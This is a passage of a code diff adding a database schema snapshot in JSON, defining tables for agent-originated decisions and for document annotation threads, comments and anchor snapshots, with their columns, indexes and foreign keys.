+      "name": "decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bundle_id": {
+          "name": "bundle_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rule_key": {
+          "name": "rule_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "options": {
+          "name": "options",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "inputs": {
+          "name": "inputs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "execution_status": {
+          "name": "execution_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "chosen_option_id": {
+          "name": "chosen_option_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_values": {
+          "name": "input_values",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signed_spec": {
+          "name": "signed_spec",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_snapshots": {
+          "name": "target_snapshots",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "continuation_policy": {
+          "name": "continuation_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decisions_company_status_expires_at_idx": {
+          "name": "decisions_company_status_expires_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_bundle_idx": {
+          "name": "decisions_bundle_idx",
+          "columns": [
+            {
+              "expression": "bundle_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_origin_issue_idx": {
+          "name": "decisions_origin_issue_idx",
+          "columns": [
+            {
+              "expression": "origin_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_company_idempotency_uq": {
+          "name": "decisions_company_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"decisions\".\"idempotency_key\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decisions_company_id_companies_id_fk": {
+          "name": "decisions_company_id_companies_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_bundle_id_decision_bundles_id_fk": {
+          "name": "decisions_bundle_id_decision_bundles_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "decision_bundles",
+          "columnsFrom": [
+            "bundle_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_agent_id_agents_id_fk": {
+          "name": "decisions_origin_agent_id_agents_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_issue_id_issues_id_fk": {
+          "name": "decisions_origin_issue_id_issues_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "decisions_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_anchor_snapshots": {
+      "name": "document_annotation_anchor_snapshots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "thread_id": {
+          "name": "thread_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "from_revision_id": {
+          "name": "from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "from_revision_number": {
+          "name": "from_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_revision_id": {
+          "name": "to_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_revision_number": {
+          "name": "to_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "previous_anchor": {
+          "name": "previous_anchor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "next_anchor": {
+          "name": "next_anchor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "anchor_state": {
+          "name": "anchor_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "anchor_confidence": {
+          "name": "anchor_confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_anchor_snapshots_company_thread_created_at_idx": {
+          "name": "document_annotation_anchor_snapshots_company_thread_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "thread_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_anchor_snapshots_company_document_revision_idx": {
+          "name": "document_annotation_anchor_snapshots_company_document_revision_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_anchor_snapshots_company_id_companies_id_fk": {
+          "name": "document_annotation_anchor_snapshots_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk": {
+          "name": "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_annotation_threads",
+          "columnsFrom": [
+            "thread_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_document_id_documents_id_fk": {
+          "name": "document_annotation_anchor_snapshots_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "from_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "to_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_comments": {
+      "name": "document_annotation_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "thread_id": {
+          "name": "thread_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_type": {
+          "name": "author_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_id": {
+          "name": "issue_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_comments_company_thread_created_at_idx": {
+          "name": "document_annotation_comments_company_thread_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "thread_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_issue_created_at_idx": {
+          "name": "document_annotation_comments_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_routine_created_at_idx": {
+          "name": "document_annotation_comments_company_routine_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_case_created_at_idx": {
+          "name": "document_annotation_comments_company_case_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_document_created_at_idx": {
+          "name": "document_annotation_comments_company_document_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_issue_comment_idx": {
+          "name": "document_annotation_comments_issue_comment_idx",
+          "columns": [
+            {
+              "expression": "issue_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_body_search_idx": {
+          "name": "document_annotation_comments_body_search_idx",
+          "columns": [
+            {
+              "expression": "body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_comments_company_id_companies_id_fk": {
+          "name": "document_annotation_comments_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_thread_id_document_annotation_threads_id_fk": {
+          "name": "document_annotation_comments_thread_id_document_annotation_threads_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "document_annotation_threads",
+          "columnsFrom": [
+            "thread_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_issue_id_issues_id_fk": {
+          "name": "document_annotation_comments_issue_id_issues_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_routine_id_routines_id_fk": {
+          "name": "document_annotation_comments_routine_id_routines_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_case_id_cases_id_fk": {
+          "name": "document_annotation_comments_case_id_cases_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_document_id_documents_id_fk": {
+          "name": "document_annotation_comments_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_author_agent_id_agents_id_fk": {
+          "name": "document_annotation_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_issue_comment_id_issue_comments_id_fk": {
+          "name": "document_annotation_comments_issue_comment_id_issue_comments_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "issue_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "document_annotation_comments_exactly_one_owner_chk": {
+          "name": "document_annotation_comments_exactly_one_owner_chk",
+          "value": "num_nonnulls(\"document_annotation_comments\".\"issue_id\", \"document_annotation_comments\".\"routine_id\", \"document_annotation_comments\".\"case_id\") = 1"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_threads": {
+      "name": "document_annotation_threads",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "anchor_state": {
+          "name": "anchor_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "original_revision_id": {
+          "name": "original_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "original_revision_number": {
+          "name": "original_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "current_revision_id": {
+          "name": "current_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "current_revision_number": {
+          "name": "current_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "selected_text": {
+          "name": "selected_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "prefix_text": {
+          "name": "prefix_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "suffix_text": {
+          "name": "suffix_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "normalized_start": {
+          "name": "normalized_start",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "normalized_end": {
+          "name": "normalized_end",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "markdown_start": {
+          "name": "markdown_start",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "markdown_end": {
+          "name": "markdown_end",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "anchor_confidence": {
+          "name": "anchor_confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'exact'"
+        },
+        "anchor_selector": {
+          "name": "anchor_selector",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_threads_company_document_status_idx": {
+          "name": "document_annotation_threads_company_document_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_issue_status_idx": {
+          "name": "document_annotation_threads_company_issue_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_routine_status_idx": {
+          "name": "document_annotation_threads_company_routine_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_case_status_idx": {
+          "name": "document_annotation_threads_company_case_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_current_revision_open_idx": {
+          "name": "document_annotation_threads_company_current_revision_open_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "current_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_anchor_state_idx": {
+          "name": "document_annotation_threads_company_anchor_state_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "anchor_state",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_threads_company_id_companies_id_fk": {
+          "name": "document_annotation_threads_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_issue_id_issues_id_fk": {
+          "name": "document_annotation_threads_issue_id_issues_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_routine_id_routines_id_fk": {
+          "name": "document_annotation_threads_routine_id_routines_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_case_id_cases_id_fk": {
+          "name": "document_annotation_threads_case_id_cases_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_document_id_documents_id_fk": {
+          "name": "document_annotation_threads_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_original_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_threads_original_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "original_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_current_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_threads_current_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "current_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
